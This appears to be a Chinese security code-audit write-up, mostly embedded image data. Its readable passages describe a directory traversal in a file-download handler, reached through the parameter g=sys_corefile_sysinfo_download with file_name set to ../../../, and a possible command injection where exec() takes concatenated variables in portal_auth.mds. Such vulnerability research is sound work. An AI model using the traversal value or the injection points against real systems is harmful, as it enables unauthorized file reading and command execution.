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 truncated
|
||||
<blockquote><p>从<code>GET</code>请求的参数<code>g</code>中接受一个变量,通过这个变量可控制对应的处理路由,通过控制<code>g=sys_corefile_sysinfo_download</code>可来到上图的处理函数,直接传一个<code>file_name</code>为<code>../../../</code>的情况,在直接拼接字符串的时候就会造成目录穿越。</p>
|
||||
</blockquote>
|
||||
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181010-3dd203e4-c66a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABhYAAAN7CAYAAACpg6BhAAEAAElEQVR4nOzdeVhUVR8H8O+wCwqyKgqibOK+oQlqmru45lKZ5ZapWVaammWmpS2WS/Xmbpm5lmXuu6aBgIr7hqxuKAiy79t9/xhmmGEGuAMzDMj38zw8MPeeOed37twZ7plzzzmSvLw8AURERERERERERERERCIY6DsAIiIiIiIiIiIiIiKqOYzUbRQEAfn5+cjPz0dhYWFVx6RTEokEhoaGMDY2hoEB+1WIiIiIiIiIiIiIiDQhKTkVUn5+PrKysp67DoWSJBIJTE1NYWpqqu9QiIiIiIiIiIiIiIhqDKURC/n5+cjIyNBXLFVKEARkZ2dDEASYmZnpOxwiIiIiIiIiIiIiohpBPheQIAjIysrSZyx6kZOTg4KCAn2HQURERERERERERERUI8g7Fp7H9RTEys3N1XcIREREREREREREREQ1glLHQm1Vm+tORERERERERERERKQJecdCbR2tANTuuhMRERERERERERERacKg/CRERERERERERERERERS7FjQgYcPH+Lzzz/HuXPn9B0KEREREREREREREZFWsWNBB549e4aCggLExcXpOxQiIiIiIiIiIiIiIq3SaceCcGo27AatQ5Qg6LIYIiIiIiIiIiIiIiKqIjrpWBCEU5htZwf7V3/XRfZERERERERERERERKQnWu9YEE7Nhr39IQyOj8cf47WdOxERERERERERERER6ZORtjOU9FmJhATp36e0kJ+dnR0SZBkWPQagtI2IiIiIiIiIiIiIiKqG1jsWtC0hIUHeuVDdOhUyMzORm5ursj0jIwMAkJeXh+TkZJX9EokEVlZWug6PiIiIiIiIiIiIiEjrqn3HAoBq2akQFxeHn3/+GYWFhaWmuX79Oq5fv6523/Dhw9GlSxddhUdEREREREREREREpBM1omNB1qlQnZiZmaFBgwbIyspS2ZeXl4eMjAyYmpqiTp06KvsNDQ1hbW1dFWESEREREREREREREWlVte9YKDlSoeSaC/piZWWF9957T+2+q1evYvfu3WjdujVGjhxZxZEREREREREREREREemOgb4DEEOxI0FxWiQiIiIiIiIiIiIiIqpa1b5jQd3ohOowYoGIiIiIiIiIiIiIqDaq9h0LRERERERERERERERUfbBjgYiIiIiIiIiIiIiIRNPp4s19ViagNk9aJJFI9B0CEREREREREREREZFWccSCDjRt2hTu7u5o2bKlvkMhIiIiIiIiIiIiItIqSV5engAAGRkZyM/P13c8emNlZaXvEIiIiIiIiIiIiIiIqj2OWACnLCIiIiIiIiIiIiIiEkvesWBgUHv7GNixQEREREREREREREQkjrw3wchIp+s4V2u1ue5ERERERERERERERJqQdywYGxvD0NBQn7HohUQigampqb7DICIiIiIiIiIiIiKqEeSLNwNAYWEhTGb66jMevchfHazvEIiIiIiIiIiIiIiIagSljgVA2rmQnZ0Ny7m99RVTlUj69gTMzc1r5SgNIiIiIiIiIiIiIqKKUulYkCksLERBQQEKCwurOiadkkgkMDQ0ZIcCEREREREREREREVEFlLpqsYGBAQwMDErbTUREREREREREREREtRB7DoiIiIiIiIiIiIiISDSjq7du6zsGIiIiIiIiIiIiIiKqIUpdY4GIiIiIiIiIiIiIiKgkToVERERERERERERERESisWOBiIiIiIiIiIiIiIhEY8cCERERERERERERERGJxo4FIiIiIiIiIiIiIiISjR0LREREREREREREREQkGjsWiIiIiIiIiIiIiIhINHYsEBERERERERERERGRaOxYICIiIiIiIiIiIiIi0dixQEREREREREREREREorFjgYiIiIiIiIiIiIiIRGPHAhERERERERERERERicaOBSIiIiIiIiIiIiIiEs2oUk9+t6u24qg18lcHi06bmJCARw8eIDU5GQUFBVqPxdDQEJb168OpSRPY2NmJek56ejoSEhKQmZmJwsJCrcdUmxgYGMDc3Bx2dnaoW7eu6OfV9NegIvWujXUmIiIiIiIiIiKqriR5eXmCpk9ih0LliOlcuBcZiQfR0WjYqBFs7e1hYmqq9Thyc3LwLD4esY8fo0mzZmjq5lZm+qdPn+Lp06ewsbFBvXr1YGxsrPWYapO8vDykpaUhMTERDg4OcHBwKPc5z8NroGm9a2OdiYiIiIiIiIiIqjONRyywU6HyZMewtA6GxIQEPIiORtuOHWGn4y8gGzg6wqFhQ1y/fBmWVlaljlxIT0/H06dP4erqCktLS53GVJtYW1ujfv36iIqKgrm5eZl3sz9Pr4HYetfGOhMREREREREREVV3XGOhGnr04AEa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 truncated
|
||||
<h1 id=toc-2>命令执行漏洞</h1>
|
||||
<p>对于<code>php</code>的命令执行,包括<code>thinkphp</code>等多种框架和代码,大部分都是通过<code>system、exec、call_user_func</code>等造成的,全局搜索的地方可以放在这些地方。</p>
|
||||
<p>在<code>portal_auth.mds</code>中,看到<code>backupAuthFile和checkFileSize</code>两个函数在调用<code>exec()</code>的时候都拼接了变量, 都是存在<code>命令执行的可能性</code>。</p>
|
||||
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181017-4264d896-c66a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA8wAAAIkCAYAAADLSKI1AAEAAElEQVR4nOy9d2BVx5U//pn7JIFA9GKqAYPBdJviQrEpNtjG2LjFvcVxsim7v2yyye4mm2RTNslu4t3Nfr/5ZhM7jh1XjHvBHRtTbJppBtE7CAkhQBIISe/d+f1x79Q7c8t7T0Jgjo3ee/fOnDlz5sxpM3cuueCCoRQ5AwVAQu4xINI1YrlPDd9tdcNo0cuFdZMoLQTQsa9U/CAACCFwiAPHcUCIA0IAwnARDQWVfxH/GwWlFK7rctxEIkSlytRvKuGmoDLr4NMiIRQcpRIGAab+U2ooRYKjFzb6YaMl2qH8U26TOB5/HYdw3lJejipjovAgrGUieKN/shGkPi6vDZfTRQiB4xAwblKJ92w8+aAQxnciMZ8aJTFIqUmG7V0KAOehOgeoco8zQ0hIyEBGNe3NB+LPB3PpwKynbA7I40kFXYQE/sl4DGQapzrD7VLXb1Oi2afXw0343JXnConN+DMQNH7aOSHJEuMhZSgoL5JKpVBYVISioiKkUimkM2k01DfgxInjyGQy/jyT2ibwdUAKhACu68J1XYCqhDmEwEmlUFBQgIJUCg5x4FIXmXQGmUwGhIuV1AOiEUoI1+2x+EIoCJcZIcMOISgoLPD6WFAA182goaEBjY2NcKkLQhwUFRaiqKgIBYWFIMSRbIHryaPjwM1kkE5nkMmkQUCQSqXgpFKSLvTaFzpRGiN5XkvjxtrhdodKeoLNL+KPJdN1hOldtfvyp1LfcE+1QoJ+fpcgMKZq3WRgxuS1zfHpatbmJiQhQO8DIeHuRzbA6Qmxc8pEgsG10u9LvwN1xfxQvpvabAEgeVNQ+inTp/flFNDebFaFqhwBoNlSyQ8yESb5VUEfQisSRUro3YQckeevzZmlgS+2AlmRkDU0pbg1RR9sqka2OaYb2j0baew6j6M0eSTsJoKjx/xvMJ/dv+OJqW5r7JRYh8QvWmC7f/oC0T7jQ0AeTPyl4ofnVHj/iEUi7HMi6WyxByDcDmp2WXZLZGeWUl272Nqhvh0h1hL5mpeEEFBKfSWujoTnCEoBlGzMtTHhYY6le8T3JLlDaAkS1evEx+cquOUx98hmNHlurAAq7iWCIC+Sg1qfk8llwKPNY69PZ9bNxaNVd7AJAMcBXApAjoMkJegVYlWIoR3hEKj41QDJgeMrTpuWl8ZOca4iu/WFAWWUFUfTu+PHkf589X1vSAEWpaCuCzfjIuU4SBHHCwSdlBQIi7kEP6aj1OXXCYgvwqoDTCAcQZbACgSFGkgzIdkwS0EL15FUvUcpRTqdRiaTRjqT9oJpJ4WCVAoFhYVS8Oslc1zXBQWFw1BotoUyZjhC2ZvcVsoiXOJfowD1+QM/GHcAvz1pkNjsoF4g7ukDeTxYv4L8C1JhZZihlF1HZjv1zFZOwxbHDCcmQLHKSStn0VaeoYUEvbmDJLemLunO0imCXC28CSRPyNg31Uu2BCcI6hamG5JCvBrxfAfJLQtWD2Wmze+Vrp+188mBmQj7be27GCTlnuSPiyS0V0rPzfluPPc1vNiH+BLqpZDlOEcXC/PV4C8lyKY5B8xRRsFMZpCF1FA+Tt1s6DR8lwIw6n8Pb4VCrEaJsnrwReWmjfRAMU6E/xGlzHSoSJmwAEJwWVDAHDlC2OoDkYJgGtQxSoOeRJKw2RABSUZLDZrBHV1KKVx4K0hwHA23ynPuoPu4fEReH30Gs3jLGzuVQtlx5pOSEj51xEqzKCWvRvH4gSqhF8JcyHCnThohfTpEMlcPBWwGw6w4Eo96JE3S3JbL+uPggII6bEVfBAfUl2MCgpTjMM0qsFEZty/rjB6wueCPtz+eJqPPVutMPRf3vmjgW0ONJVyL6qtSbKcIYX8UTAA83rsZFxkng4KCFIjjoKCgAKlUChk34wfGekWxw4MQ4iVP+LgHg2ZGD2U7Fyzjp9SmhnkWBoq8C4eLAFwnZDIZZNyMv3JO4aQcFBQUorCwAKlUAQgh/q4HeEkEfzcLHMfjrdac7NeZ8p5U+kMIYZLvXWR6kPXdceD440H5PAMvR0FBXNdfZQYCjJH1nsoFA8jOR5ge0mvlBrHr20hLSgCvazHkehezUrQIyh5P1kr4lGSWpjCZEbStuLJy7Lpp5dm2Cp0YTH6eqUz8e0FX2eQ/hvmbNsjeF7Jhy6dVkUVChA+GUlwcCPeLpFucNoHO56YaP0hfhI3V6yak3AoBP9Xm1usVFCeXSL4ZkeoShEZ9eQOSwzxJALnoMBvo6j/wg/lpYdWZRRKjyQJl2T8XgXMI0OB9ZvP43KcElNCAC6P65cQir8IfZEOWY8AcpWxs1sdmQWyzIE5b2dAptaEZiqB7xTiuDbS0lVMrbdAaVLtvGqYww2A3GEKR+EqS8hDP75K8bVB2gKiVm8IpswURopxaK4zWKJDqSwacb7OQAmpzLcKTAyb7T2TXWWVDoC+y3wFCFJ6KRIREAwFfCQeoVf/K3JQ/1Ukslybq5YARsIFGgF/HOKTalKQmRiQGmyUL/oSkNCl14Ppb28X2fO+3SykcqvMnpOUA7YTPWyVolpS0ESg8xZtX96alg5ggIuEWDubRVitSlyJDMiAZgkwmhZRfwXEcOITAlbCIbYOSk87uEtWYKVv3/ZkuHt2wj586FRLYF72YFGBQX1ap64pt5o6DglSBnxwo8BKAfjWXiscSPHHXHzfx+wrqzw3xyIhpZ5H8gyU8jcOnb9mVPW7Ic8iiIDVdLHip89GkbJrDQU0AJp2ar4jGatIt+jEKgt5qsB1uBOV7mmFU7tPAeKo0IljXVCbvECYr4b5JcFCj/M2occhdbpvKgmhTV2tL9VfkhR6rtqaAvMLGH5szNmz2XvIJAb4lDSek60TeEcTrEjRb0NzSdF8c0KZHwGc1dImJhuRJcF0h7gmfjFv7LCYJkb9Ifjgo8/oF3XrH5Mc99XsytMAt2c0tTLb21FkoHHc/XuHOmY8l4DyZ8JlbYTgFkrjSYipn748ImiU7mYdtcPnyKQDBAgpv6zVl+P0kBijV9bM2UfwvhEV9WuAtl5d/aNG1+ryDHGTBdyzsvRZSo7qPGtkByCcf7RAiH2BPQ5oc3WwpMwUo2lYXVooI1eXA3wDP5ZR9ekEIiCNrYavx1xshuuBEx94CmAOh42mJkBdhCs4BtvqoFjPJU3jjrus9W5xOZfikZ4+4sHFWHp/gTelOPUuyeLPN8bcbw9cVfAuzKRjIy2Q0zXH/t+uF/q5L4Tje88fs+eqU4yhBOvWfXZZ32Iht5IQ3w4JkngTg46FMgkAYoHctyAPmqmiPk8i8B9OpgVsWiGLiaeo45gVMo5JwwlqraLj9eRuAFqXCJFlPpJTj4DV9T+pryWB3vVsOaMJBxAyXV/DASnH7KuqLPIqsqQy4RRNZQhMIIrF8j12xJYxtC9SPpqE3JmgovyDPNDnOkV1vttcz1sqyvXmBV44FfJ+NybjJuxWxnTlwZujyFDDH6Z4uwWFKMey3XDfpRFMHKq4oGjNq/ioGkRw6TlmcYJk5c5JgmakNvxIHREJYFRcCyf+xGV9zh+KDiIARHHM7Xo82n6/cKfS3VuhLKhKtDCsLyvg2b96avCLF6hHImUVuKqShoYSAOATEVUwJONOoTpKP01BUp5k3YuQCVMGy9T0r0MaA0yglG1jJvOtuM0LOa8DbLuqIoEc14N7zrIQJMdeSIRDwIYKaWVegNjwtfrU5z6TJW9iYWCuxlsloGqM1Mbdc10Umk/aKOmyuG+oIIuD6OgCEBdisPBEHBEort8F5KUPuTOIYZEeTsk/RssO2nRcUwEmlICfoCPxt6uy3vAWWx8sEbKO6XFYZB+YgSHpHmsGInMD+XFLzEZq9kG5RQN2Sr5Q7dc5eFqGnWlEay8isQKzGmoIP1BwUBLIhNPBVrSt9t52zoW/VahIwtR036gl2Pih9cYLw+FLT0kKZMF9RiLAIlgNirckH12FSEZW7QWBTITlvsp6xQXKiQomw61FhSV6A6RRz2Bbveow2mlI4dZ9V970CIQ07W4S5l7Jfqd0LumRao0EwPVap+CD6RapeCuoJ84N5hDT5CnPYRCAR9+PUzQ2isJieQRVhcgh5EaAEZLkGpGbMxnthalV+BCouRdHdJ+rXhPt8FVq4g+gZ77BTbLlk8WDZP9SKaiMqB858SDRPk/HFQ8hXvcSc94JLU28C8qUPQcD7tHRIfuYscC+kngmYU2yUFXkXghwBScJhGTaFhBg02VDJRpmt6rPgQz4FOLwJH3vWaoJFZIGog6Nv0cFyUwCV9KHEGsVoBoJjEyKxIgx4z/gCAFziH0ClzkdZP4pLVAraxU4fhzgg/onnLFiWlKyBEolUXoEEb8YBTjOTV79tQvjqcsrxTu7W54pLXWQy0unY7DEfeTs6IdIzzaouCPoCntfBS9tsjCzeTD8TGOVbH26l32HsiLybxOKEQxQGpUWdhEBlqn0yCPNXmgACW0QTKFa9bhyZtilWlqi1PcOcdVBti1wiihsNLtHumQaYSH+jR83oOMehk0PTh9Vhc1KoZyLmNYtQDLo1Olg2t2ubLc0KYURaFZgNfHkOKIuQtmxtR1803DMZ07jEywY6j6CxwUqN1DyzVDwgBhTfXfdqbU8Th4MlthGBgCDdL6r6EKagWeuQf7kFbsluXjAGNeyGfo/dkp6TiwYa/EbDQ9vkYMMWP2II9CS0ms3cqKIfQJogXg6cJ8L+SA/wRwXN3hefB9Rwqq6C3Q8h5dt6d6j3LGfg5FhD6/Iha4oMUKE8okcmpoyYSGEOsIwjps61PcoWF8KasZHK2uXXiHzH57frBTXaplHJqOkXkwXN8ixSLine truncated
|
||||
<p>先看<code>backupFile</code>,查找有没有能够控制<code>$type</code>变量的函数,只找到了一个,其它都是静态的函数。</p>
|
||||
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181024-4622d848-c66a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABWAAAAO/CAYAAABBT28dAAEAAElEQVR4nOzdeXxU9dn///eJ4IJrlsmiBBdCEgJhExVI3MUFMFawQnHXYrUutRZBxbvbDS6Uthb5/sClam1VpIK3caktIIiEAFWsBpCETUgkkBWXtrZJzuf3x5nlzGQmmYTsvp6Px2jOzDmf7UyG5Mp1rmOdOTrHqFmW9/9R7Nqhwo3LCnxlScaEvt6VmMB/Q4ZoyXJPpYXa63wZHcKgOpFvHbrj2Lu6yO81Y5zvweAnQw+1FHx+Qtox4d7DEc5jjzq9od9rkd/DVhN7h283fDttI0y7Yc9h6GFWpKNlZA75o6zR+7AZh9ad+3ui/d6U0bRsyft9GOFF36q71yfofeQ7d0GNmKB/tCzLkmQpJsZS7969dXjv3jr8iCPUu1cv2caovq5O33zzjerq6tTQ0KDgdTGyLMt5+Fr099l4PP59Lcs/Bve/8Sbce83y/nsa2n4YoR9PMYcdpl69eql37946rFcvHXbYYbLc7RkT/P60gltyv6tD34NWhOdDhu7acH0+ugba1HvVGCNjjBoa6tVQ36D6hnoZ2/g/nGMsS5YVo8NiYhQTEyPrsBjFWIcpJsZyDazxzyLRvatDx9r8d1W3+wj3/xsWSei/Z9G02RVWIbp/TVreXOA7ItBqhDUK8+NA021HuX+E3xeifz36l9tEd/2xuzMEfukL/j4K/cwP9z3m/oHVhL4HIr2xon2Thoytmd/vWtBqy97CoY1GGkNLf0yM5sf0tvp1tK3m2+LxNHVA0E8pQXsa78M2Un19vRpsI9u2ZYxk+/exgtsJmWPgbRPu8zPSWJr64OiqMZGOE+lt1IJ/zZvvwXU6Gx0bxc9FwWNpuvfAvo3f9MEfd1Yz3wZWo+8T4/pZrslRNPnzUCf9/Bfusyzk86JV3w2H8O+ys0yWekW5q7rmN2y4MQVWJfBvaBf/EGrzYbTXvEKDZd0BP722n2Z+DLAa/0wb8nuYmn8/OX1EdRZ7zKkONxHfWjd+zaiJ78ygKLizZ4t+uD9kJrrfJsJG69twFGF+J2tKxB+Yojr+0D8jW32OQsZoFBy3i3iQafoXwqZec06d07Ft22qwbTU0NOiwww5TTEyMeh/eW7ZtywmWGtl2IAhrWa5ApnfsjbsK/gHS2EbGMrK87+VG7/2IJ9mSZUyTS+Fuy0iybVv19fUyxqiXbUu9e6t3796KOSxGMVZM0A+mzv9M8C/vzSyra1aNf9Iyjc+d8Y3Q1ajlP+chYS0T+Ay2vb/0yTb+ILVl